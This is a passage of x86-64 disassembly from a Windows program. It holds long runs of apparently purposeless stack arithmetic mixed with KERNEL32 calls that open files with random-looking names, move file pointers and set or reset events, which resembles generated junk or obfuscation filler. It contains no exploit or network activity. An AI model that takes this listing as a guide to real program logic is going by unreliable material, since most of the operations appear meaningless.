mov dword [rsp + 0x8d8], eax
mov rax, qword [rsp + 0x2490]
movzx eax, byte [rax]
mov byte [rsp + 0x1b9], al
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2378]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1890], rax
movsx eax, word [rsp + 0xc0]
movsx ecx, word [rsp + 0xe98]
and eax, ecx
mov rcx, qword [rsp + 0x1488]
mov word [rcx], ax
movzx eax, word [rsp + 0x6f8]
mov word [rsp + 0x15cc], ax
mov rax, qword [0x1400fd760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ca8]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fd310], rax
mov rax, qword [rsp + 0x2a58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1038]
shl rax, cl
mov qword [rsp + 0x18f0], rax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x2b58]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x38c8], rax
mov rax, qword [rsp + 0x2d08]
mov rcx, qword [rsp + 0xd50]
mov qword [rsp + 0x4b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b70]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1000]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd18e
mov rcx, qword [rsp + 0x3288]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf4], eax
movzx eax, word [rsp + 0x394]
mov word [rsp + 0x15f8], ax
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x3108]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1b80]
mov byte [rcx], al
mov rcx, qword [rsp + 0x3e18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov rax, qword [rsp + 0xdc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1918]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad4], eax
mov rax, qword [rsp + 0x1e60]
mov rcx, qword [rsp + 0x2098]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3e00], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.TydUOker9OxxkgRr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38e8], rax
movsx eax, byte [0x1400fc383]
movsx ecx, byte [rsp + 0x10c]
sub eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2540]
add eax, dword [rcx]
mov dword [0x1400fc49c], eax
mov rcx, qword [rsp + 0x4b78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
movzx eax, word [rsp + 0x370]
mov word [rsp + 0x35f8], ax
movsx eax, word [rsp + 0x21c]
mov rcx, qword [rsp + 0x30d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x25f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xae4], ax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov qword [rsp + 0x3f90], rax
mov rax, qword [rsp + 0x1478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x406]
sar eax, cl
mov rcx, qword [rsp + 0x2ae8]
mov byte [rcx], al
lea rax, [rsp + 0x2268]
mov qword [rsp + 0x1af0], rax
mov rax, qword [rsp + 0x28d8]
mov rcx, qword [rsp + 0x1c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x28d8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4fc]
movsx ecx, word [rsp + 0x1578]
add eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x384]
or eax, ecx
mov word [0x1400fc538], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x92b5
mov rcx, qword [rsp + 0x2a30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rax, qword [rsp + 0x1ba8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2380]
shl rax, cl
mov qword [rsp + 0x37e8], rax
mov rax, qword [rsp + 0x4b80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4178], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xec71
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x2440]
mov eax, dword [rax]
mov dword [rsp + 0x26ec], eax
movzx eax, byte [rsp + 0x130]
movzx ecx, byte [rsp + 0x3f9]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1394]
shr eax, cl
mov rcx, qword [rsp + 0x2548]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1728]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
mov rax, qword [rsp + 0x2418]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2dd], al
mov rax, qword [rsp + 0x1900]
mov rcx, qword [rsp + 0x29e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x19f0], rax
mov rax, qword [rsp + 0x18b0]
movzx eax, word [rax]
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x2488]
movzx eax, word [rax]
mov word [0x1400fd780], ax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
add rax, qword [rsp + 0x4b90]
mov qword [rsp + 0x9b8], rax
mov rax, qword [rsp + 0x1250]
mov rcx, qword [rsp + 0x38c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b98], rax
mov rax, qword [0x1400fd618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x350]
sar eax, cl
mov rcx, qword [rsp + 0x1d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6f8], ax
lea rax, [rsp + 0x2500]
mov qword [rsp + 0x5508], rax
mov rax, qword [0x1400fd2c8]
mov ecx, dword [rsp + 0x2124]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xba0], eax
movzx eax, byte [rsp + 0x406]
mov byte [rsp + 0xdd8], al
mov rax, qword [rsp + 0x1308]
mov rcx, qword [rsp + 0x16f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2278], rax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x31c8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1400fd510]
mov word [rcx], ax
movzx eax, word [rsp + 0x8c0]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
lea rax, [0x1400fc384]
mov qword [rsp + 0x3a08], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.1aP0_riwNEgwZdykY2pk
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4e58], rax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x24f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1b08]
mov byte [rcx], al
mov rax, qword [rsp + 0xd30]
mov qword [rsp + 0x4fa0], rax
mov rax, qword [rsp + 0x19e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa48]
mov qword [rsp + 0x4ba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ba0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x1ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x915]
add eax, ecx
mov rcx, qword [rsp + 0x3ef0]
mov byte [rcx], al
lea rax, [rsp + 0x2898]
mov qword [rsp + 0x31f0], rax
mov rax, qword [rsp + 0x1b60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x490]
sub eax, ecx
mov word [rsp + 0x4c4], ax
movzx eax, word [rsp + 0xd4]
movzx ecx, word [rsp + 0x858]
and eax, ecx
mov rcx, qword [0x1400fd2a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x36e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2db8], rax
movzx eax, word [rsp + 0x4d8]
mov rcx, qword [rsp + 0x2298]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x2468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
add eax, ecx
mov word [rsp + 0x594], ax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xb4bd
mov rcx, qword [rsp + 0x3738]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
mov rax, qword [rsp + 0x1218]
mov rax, qword [rax]
mov qword [rsp + 0x4e88], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4c68], rax
mov rax, qword [rsp + 0x2d38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x11d8]
shr rax, cl
mov qword [rsp + 0x1a58], rax
movsx eax, byte [rsp + 0x2d0]
movsx ecx, byte [rsp + 0x2ce]
shl eax, cl
mov byte [rsp + 0x927], al
mov rax, qword [rsp + 0x7f0]
mov rcx, qword [rsp + 0xd58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1108], eax
movzx eax, word [rsp + 0x428]
mov word [rsp + 0x1614], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4a51
mov rcx, qword [rsp + 0x2998]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
mov rcx, qword [rsp + 0x3a80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2808], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.xOKhUHm0IS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x22b0]
mov rax, qword [rax]
mov qword [0x1400fd788], rax
movzx eax, byte [rsp + 0x3f9]
movzx ecx, byte [rsp + 0x137]
or eax, ecx
mov byte [rsp + 0x91], al
mov eax, dword [rsp + 0x21e8]
mov ecx, dword [rsp + 0x1a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4], eax
lea rax, [rsp + 0xb0c]
mov qword [rsp + 0x51a8], rax
mov rcx, qword [rsp + 0x2508]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f4], eax
movzx eax, word [rsp + 0x4d4]
movzx ecx, word [0x1400fc3b4]
add eax, ecx
mov word [rsp + 0x6c], ax
mov rax, qword [rsp + 0xc70]
mov qword [rsp + 0x3bd0], rax
mov rax, qword [rsp + 0x23b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
sub eax, ecx
mov rcx, qword [rsp + 0xa88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4010]
mov rcx, qword [rsp + 0x1158]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3160]
mov dword [rcx], eax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x2c68], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x41c]
sar eax, cl
mov rcx, qword [0x1400fd768]
mov word [rcx], ax
mov rax, qword [rsp + 0x18d0]
mov rcx, qword [rsp + 0x1e58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rsp + 0x11d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3828], rax
mov rax, qword [0x1400fd548]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1188]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2308], rax
mov rax, qword [rsp + 0x2c68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2290]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbf8], ax
lea rax, [rsp + 0x900]
mov qword [rsp + 0x2c20], rax
mov rax, qword [rsp + 0x1500]
mov rcx, qword [0x1400fd530]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1e50], rax
mov rax, qword [rsp + 0x2388]
movzx eax, byte [rax]
mov byte [rsp + 0x2dc], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x32d7
mov rcx, qword [rsp + 0x3278]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
mov rax, qword [rsp + 0x1828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22b]
or eax, ecx
mov rcx, qword [rsp + 0x1cd0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5510], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2ebf
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
mov eax, dword [0x1400fc384]
mov rcx, qword [rsp + 0x1058]
mov qword [rsp + 0x4ba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ba8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1a60], eax
movsx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x23a0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc53c], ax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xfc8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xf70]
mov word [rcx], ax
movzx eax, word [rsp + 0x598]
movzx ecx, word [rsp + 0x5dc]
add eax, ecx
mov word [rsp + 0x254], ax
mov rax, qword [rsp + 0x1070]
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x3968]
mov rcx, qword [0x1400fd718]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3df8]
mov qword [rcx], rax
lea rax, [rsp + 0x409]
mov qword [rsp + 0x3af0], rax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
mov rax, qword [rsp + 0x29c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2a88]
add eax, dword [rcx]
mov dword [rsp + 0xe1c], eax
mov rax, qword [rsp + 0x23a0]
movsx eax, word [rax]
movsx ecx, word [0x1400fd440]
and eax, ecx
mov word [rsp + 0x6bc], ax
lea rax, [rsp + 0x5fc]
mov qword [rsp + 0x4160], rax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov qword [0x1400fd790], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Jd7k6LR2RgRv6Duwaoqq0SX5ApK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5188], rax
movzx eax, word [rsp + 0x4a8]
mov rcx, qword [rsp + 0x1f60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
mov qword [rsp + 0x5518], rax
mov rax, qword [rsp + 0x1c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1060], rax
mov rax, qword [rsp + 0x2f28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x17b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d3], al
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x3e00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4bb0], rax
mov rax, qword [rsp + 0x14d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc50]
mov qword [rsp + 0x4bb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bb8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x119c], eax
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0xe44], al
mov eax, dword [rsp + 0xcc0]
mov ecx, dword [rsp + 0x11b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe89c
mov rcx, qword [rsp + 0x2928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2810], eax
mov rax, qword [rsp + 0x1a00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2398]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd4d0], ax
movsx eax, word [0x1400fd210]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2930]
mov word [rcx], ax
mov rax, qword [rsp + 0x3018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe8c], ax
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1564], ax
movzx eax, byte [rsp + 0x92]
mov byte [rsp + 0x60c], al
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x2f68]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xf98], rax
mov rax, qword [rsp + 0x3e08]
mov eax, dword [rax]
mov dword [rsp + 0x34b0], eax
mov rax, qword [rsp + 0x23a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
and eax, ecx
mov word [rsp + 0x3b4], ax
mov rax, qword [rsp + 0x2488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0x16e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1000]
mov qword [rsp + 0x4bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc540], rax
lea rax, [rsp + 0x19c0]
mov qword [rsp + 0x3808], rax
mov rax, qword [rsp + 0xfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0x1d78]
mov rcx, qword [rsp + 0x2ce8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4bc8], rax
movzx eax, word [rsp + 0x69c]
mov rcx, qword [rsp + 0x1fa8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x1ca0]
mov ecx, dword [rsp + 0x13a4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x13f8], eax
mov rax, qword [rsp + 0x3108]
movzx eax, byte [rax]
mov byte [rsp + 0x91e], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x41b8], rax
mov rax, qword [rsp + 0x1158]
mov rcx, qword [rsp + 0x2c20]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1150]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x2dd]
movsx ecx, byte [0x1400fd133]
sar eax, cl
mov byte [rsp + 0x3f2], al
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x2da0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc390], rax
movsx eax, word [rsp + 0x490]
mov rcx, qword [rsp + 0x1fb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x6e4], ax
mov rax, qword [rsp + 0x4070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2a00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x87c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3504
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21a8], eax
mov rax, qword [rsp + 0x23e8]
movzx eax, word [rax]
mov word [rsp + 0x2088], ax
mov rax, qword [rsp + 0x2fe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2950]
add rax, qword [rcx]
mov qword [rsp + 0x1d28], rax
lea rax, [rsp + 0x1688]
mov qword [rsp + 0x4098], rax
mov rax, qword [rsp + 0x2f78]
mov rcx, qword [rsp + 0xc68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12a0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2788], eax
movsx eax, byte [rsp + 0x2dc]
movsx ecx, byte [0x1400fd135]
sar eax, cl
mov byte [rsp + 0x91a], al
movsx eax, word [rsp + 0x3ac]
movsx ecx, word [rsp + 0x464]
sub eax, ecx
mov rcx, qword [rsp + 0x1178]
mov word [rcx], ax
mov rax, qword [rsp + 0x3778]
movzx eax, word [rax]
mov word [0x1400fd798], ax
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x2f50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1d20]
mov qword [rcx], rax
lea rax, [rsp + 0x844]
mov qword [rsp + 0x3200], rax
mov eax, dword [rsp + 0x1a94]
mov rcx, qword [rsp + 0x1e48]
mov qword [rsp + 0x4bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x2f48]
mov dword [rcx], eax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x3b10], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Oicj6wczeVUc7RXUW56jc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5520], rax
mov rax, qword [rsp + 0x2f68]
mov rcx, qword [rsp + 0x2f20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a88]
mov ecx, dword [rsp + 0x10e4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x34b0], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfbd6
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
mov rax, qword [rsp + 0x1be0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d5a], al
mov rcx, qword [rsp + 0x3190]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x1618]
mov rcx, qword [rsp + 0x2b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4ac], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3e10]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc3b4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.kLX7klgH1T95aeK0B
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5528], rax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov qword [rsp + 0x4198], rax
mov rax, qword [rsp + 0xd48]
mov rcx, qword [rsp + 0x25e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x18d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4b0]
and eax, ecx
mov word [rsp + 0x8c4], ax
lea rax, [rsp + 0x308]
mov qword [rsp + 0x22f8], rax
mov rax, qword [rsp + 0x3858]
mov rcx, qword [rsp + 0x1158]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x1f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1818]
mov rcx, qword [rsp + 0x3c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3920], rax
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x1bc]
mov rcx, qword [rsp + 0x2ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2b08]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x9ee2
mov rcx, qword [rsp + 0x2f10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
mov rcx, qword [rsp + 0x29c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4318], eax
mov rax, qword [rsp + 0x30c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d90]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2fa0], rax
lea rax, [0x1400fc3c0]
mov qword [0x1400fd7a0], rax
mov rax, qword [rsp + 0x2ef0]
movzx eax, word [rax]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x800]
movzx eax, byte [rax]
imul eax, eax, 0xf1
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov rax, qword [rsp + 0x1948]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2718]
sar eax, cl
mov dword [rsp + 0x2688], eax
mov rax, qword [rsp + 0x2db8]
mov rcx, qword [rsp + 0x2ab0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3760], rax
mov rax, qword [rsp + 0x1498]
mov eax, dword [rax]
mov dword [rsp + 0x21d8], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd898
mov rcx, qword [rsp + 0x3758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rax, qword [rsp + 0x2280]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
xor eax, ecx
mov byte [rsp + 0x912], al
mov rax, qword [rsp + 0x24d8]
mov rcx, qword [rsp + 0x3f38]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1040], rax
mov rcx, qword [rsp + 0x3fa0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2724], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf80
mov rcx, qword [rsp + 0x3fe0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x197c], eax
movzx eax, word [rsp + 0x3ac]
mov word [rsp + 0xf1c], ax
movzx eax, word [0x1400fc510]
mov rcx, qword [rsp + 0x1b58]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd168], ax
mov rcx, qword [rsp + 0x3e18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x16f0]
mov rcx, qword [rsp + 0x3e38]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x378]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbf0], ax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d0]
sar eax, cl
mov rcx, qword [rsp + 0xc80]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa5cf
